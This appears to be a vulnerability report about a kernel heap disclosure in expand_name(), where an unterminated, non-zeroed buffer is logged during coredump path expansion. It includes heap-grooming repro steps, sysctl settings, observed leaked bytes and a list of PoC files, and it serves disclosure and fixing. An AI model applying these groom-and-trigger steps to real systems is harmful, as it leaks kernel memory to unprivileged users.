# DF-5803 — expand_name() logs unterminated, uninitialized heap buffer (kernel heap disclosure to log)

## What

`sys/kern/kern_sig.c:expand_name()` (called from `coredump()`, kern_sig.c:2561)
allocates `temp = kmalloc(MAXPATHLEN + 1, M_TEMP, M_NOWAIT)` — **no M_ZERO** —
and on every expansion-overflow error branch logs it with `%s`:

```c
log(LOG_ERR, "pid %d (%s), uid (%u): Path `%s%s' is too long\n",
    pid, name, uid, temp, name);        /* kern_sig.c:2468-2471 (%N case)   */
                                        /* kern_sig.c:2481-2484 (%P case)   */
                                        /* kern_sig.c:2493-2496 (%U case)   */
kfree(temp, M_TEMP);
```

At that point only `temp[0 .. n-1]` has been initialized (the expansion prefix)
and **no NUL terminator exists anywhere in the buffer** — `temp[n] = '\0'` is
only executed on the success path (kern_sig.c:2514).  `kprintf("%s")` walks the
heap past the initialized prefix until it stumbles on a zero byte, copying
**uninitialized kernel heap bytes into the kernel message buffer**.

The message buffer is readable by any local unprivileged user
(`sysctl kern.msgbuf`, verified on the guest), so this is a kernel-memory
info leak (CWE-908 / CWE-467-style unbounded %s).

## Preconditions (why severity is Low→Medium, not High)

* `kern.corefile` must expand to more than MAXPATHLEN (1024) characters.
  The default `%N.core` cannot (p_comm ≤ 19).  `kern.corefile` is a
  root-only sysctl — the *configuration* is privileged; the *trigger*
  (any core-dumping crash, e.g. `abort()`) is unprivileged and trivial.
* `RLIMIT_CORE != 0` for the crashing process (checked before expand_name).

## Repro (deterministic groom + trigger)

```
build:  cc -O -o /tmp/crashy  /tmp/crashy.c      # abort()  (comm "crashy")
        cc -O -o /tmp/groomer /tmp/groomer.c     # abort()  (comm "groomer")

setup (root):
        # groom: make the PREVIOUS successful expansion exactly 1023 chars
        #        + NUL at temp[1023]  (filler sized from the groomer pid)
        sysctl kern.corefile='<filler S>x%P'     # filler = 1023 - len(pid)
        /tmp/groomer   # crashes; expand_name writes 1023 chars + NUL, kfrees

trigger (root-set corefile, unprivileged crash):
        sysctl kern.corefile='<1020 x A>%N'
        ulimit -c unlimited; /tmp/crashy         # 1020 + 6 > 1024 -> log()

expected:
        dmesg: pid NNNN (crashy), uid (0): Path `AAAA…AAA069crashy' is too long
                       ^ 1020 'A' prefix ^^^ leaked heap tail (pid digits)
```

The groomer's 1023-char expansion is left in the (per-CPU, LIFO) kmalloc
bucket that the trigger's `expand_name()` immediately reuses; the trigger
overwrites offsets [0..1019] with 'A' and the `%s` then prints offsets
[1020..] — the previous allocation's tail — until the groom's NUL at 1023.
In practice 1–4 bytes per event with this groom; the *class* is unbounded
(whatever last occupied the 2048-byte bucket, up to the first zero byte).

## Observed (guest, 3/3 batches)

```
pid 1072 (crashy), uid (0): Path `[1020xA]069crashy' is too long
attempt 1: 09crashy' is too long        -> LEAK_DETECTED   (stress run)
attempt 1: 69crashy' is too long        -> LEAK_DETECTED   (first run)
```

`069` = tail of groomer pid `1069`; `09`/`69` likewise.

## Files

* `crashy.c` / `groomer.c` — minimal triggers
* `poc.sh` — single-shot harness (build/baseline/setup/trigger/restore)
* `groom_rig.sh` — deterministic groom+trigger loop (`run N`), `restore`
* `build.log`, `setup.log`, `run.log`, `run.2.log` — untrimmed guest output
* `leak_sample.txt`, `leak_full_line.txt` — raw dmesg lines
* `env.txt` — guest identity
* `fix.diff` — one-line-class fix (NUL-terminate before logging)
